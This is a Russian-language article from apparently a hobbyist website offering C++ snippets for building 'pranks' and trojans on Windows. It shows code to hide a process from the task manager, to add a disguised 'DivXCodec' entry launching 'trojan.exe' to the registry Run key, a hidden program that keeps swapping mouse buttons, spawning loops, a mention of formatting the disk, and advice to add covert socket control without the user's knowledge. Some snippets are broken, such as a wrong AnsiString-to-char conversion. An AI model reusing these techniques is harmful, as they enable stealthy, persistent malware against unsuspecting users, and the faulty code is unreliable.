Категории каталога

Мои статьи [13]
Статьи для программеров [10]
В помощь программисту))
Мануалы [0]
Описания к программам
Биографии DJ [0]
Диджеинг [0]

Форма входа

Приветствую Вас Гость!

Поиск

Наш опрос

Оцените мой сайт

Всего ответов: 106

Статистика

Главная » Статьи » Мои статьи

C + +
Итак,как скрыть прогу от Ctr + Alt + Delete?
Ответ прост:
#include
#include

BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);

int main(){

HINSTANCE hKernel;
int i=1;
//Пытаемся получить идентификатор загруженной библиотеки
hKernel=LoadLibrary("KERNEL32.DLL");

if(hKernel){
//Идентификатор загруженной библиотеки был успешно получен
cout<<"Success load library kernel32.dll"<< endl;
RegisterServiceProcess=(int(__stdcall*)(DWORD,DWORD))GetProcAddress(hKernel,"RegisterServiceProcess");
if(RegisterServiceProcess){
//Указатель на функцию RegisterServiceProcess был
//успешно получен.
cout<<"Success to have address of the specified exported dynamic-link library (DLL) function"<< endl;
if(RegisterServiceProcess(GetCurrentProcessId(),i))
cout<<"Success registers the process as a service process"<< endl;
//Процесс был успешно зарегестрирован как сервис
}else{
//Указатель на функцию RegisterServiceProcess не
//был успешно получен.
cout<<"Failed to have address of the specified exported dynamic-link library (DLL) function"<< endl;
cin>>i;
return 0;
}
}else{
//Идентификатор загруженной библиотеки не был получен
cout<<"Failed load library kernel32.dll"<< endl;
cin>>i;
return 0;
}
cout<<"Registers the process as a service process:1"<< endl;
cout<<"Unregisters the process as a service process:0"<< endl;
cin>>i;
if (RegisterServiceProcess(GetCurrentProcessId(),i)){
cout<<"Success"<< endl;
}else{
cout<<"Failed"<< endl;
}
cin>>i;
return 0;
}

Для компиляции использовался MSVC5, проект типа Console Application, чтобы в процессе сборки не было недоразумений проверьте на вкладке Link поле Object libraries/modules, оно должно быть пустым.

Не знаешь,как писать в реестр?Бедняжка!:
String data;
TRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
data=pReg->ReadString("DivXCodec"); //DivXCodec можешь поменять на любое другое
pReg->WriteString("DivXCodec","trojan.exe");

Как открыть/закрыть сидюк?
_fastcall TMainForm::TMainForm(TComponent* Owner) : TForm(Owner)
{
Caption = Application->Title;

DWORD ld = GetLogicalDrives();
for (int i = 0; i < 26; i++)
{
if ((ld & (1 << i)) != 0)
{
String drv = String(char('A' + i)) + ":";
if (GetDriveType(drv.c_str()) == DRIVE_CDROM) DriveCombo->Items->Add(drv);
}
}

if (DriveCombo->Items->Count == 0)
{
OpenBtn->Enabled = false;
CloseBtn->Enabled = false;
DriveCombo->Items->Add("No CD-ROM Drives");
}
else
DriveCombo->ItemIndex = 0;
}

void TMainForm::DoDoor(bool open)
{
OpenBtn->Enabled = false;
CloseBtn->Enabled = false;
StatusText->Caption = open ? "Opening..." : "Closing...";
StatusText->Update();

String s = "open " + DriveCombo->Items->Strings[DriveCombo->ItemIndex] + " type cdaudio alias cd";
mciSendString(s.c_str(), 0, 0, 0); s = "set cd door " + String(open ? "open" : "closed");
mciSendString(s.c_str(), 0, 0, 0);
mciSendString("close cd", 0, 0, 0);

StatusText->Caption = "";
OpenBtn->Enabled = true;
CloseBtn->Enabled = true;
}

void __fastcall TMainForm::OpenBtnClick(TObject *Sender)
{
DoDoor(true);
}

void __fastcall TMainForm::CloseBtnClick(TObject *Sender)
{
DoDoor(false);
}

Как преобразовать AnsiString в char?
char *a[20];
AnsiString b="Hello,World";
strcpy(a,b.c_str());

Ну,возможмости неограничны...Если ты конечно,знаешь C++.
Просто тебе нужно знать некоторые хорошие функции.Давай рассмотрим пример на одном западле.
Я назвал его swap.От имени функции SwapMouseButton(true);,которая,как ты понял,меняет местами
функции кнопок мыши.Ведь ты умеешь скрывать прогу от Ктрл + Алт + Дел,а чтобы форма
не показывалась при загрузке,в начале блока try { напиши Application->ShowMainForm=false;
Далее прописываем себя в реестр(я имею ввиду из проги),и используем Application->ExeName,это дает нам полный путь к проге.
Помещаем на форму таймер,в нем пишем:
SwapMouseButton(true);
SwapMouseButton(false);
Интервал ставь на свое усмотрение,в зависимости от степени извращенности...(шучу)
Ну вот и все...
Ах да,вот неплохая функция - bool Movefile(Existfile,dest file);
ясно что в первом параматре надо писать Application->Exename,т.е. двигать будем нашу прогу.Ты можешь скакать по
дирам или создавать свои с помощью mkdir(char dir);
Можешь с помощью хорошей функции system(); форматнуть винт(эта функция нужна для выполнения системных утилит и запуска прог,но я использую spawn();)
То бишь:
#include
for(int i=0;i<100;i++) {
int result;
result = spawnl(P_WAIT, "C:\Windows\calc.exe", "calc.exe.", NULL);//или system("calc.exe");
system("echo ha-ha");
//etc
}
Ну если уж на то пошло,то можно из западла сделать троян,т.е организовать передачу ему(трояну) команд(естесственно,без ведома юзера)
Чтобы эта осуществить,можно поюзать сокеты Windows.Они достаточно просты в использовании,если все же не поймешь,
посмотри Example builder'а,там все найдешь.

Категория: Мои статьи | Добавил: clubdance (2007-03-21) | Автор: vlad
Просмотров: 502 | Рейтинг: 5.0/1 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]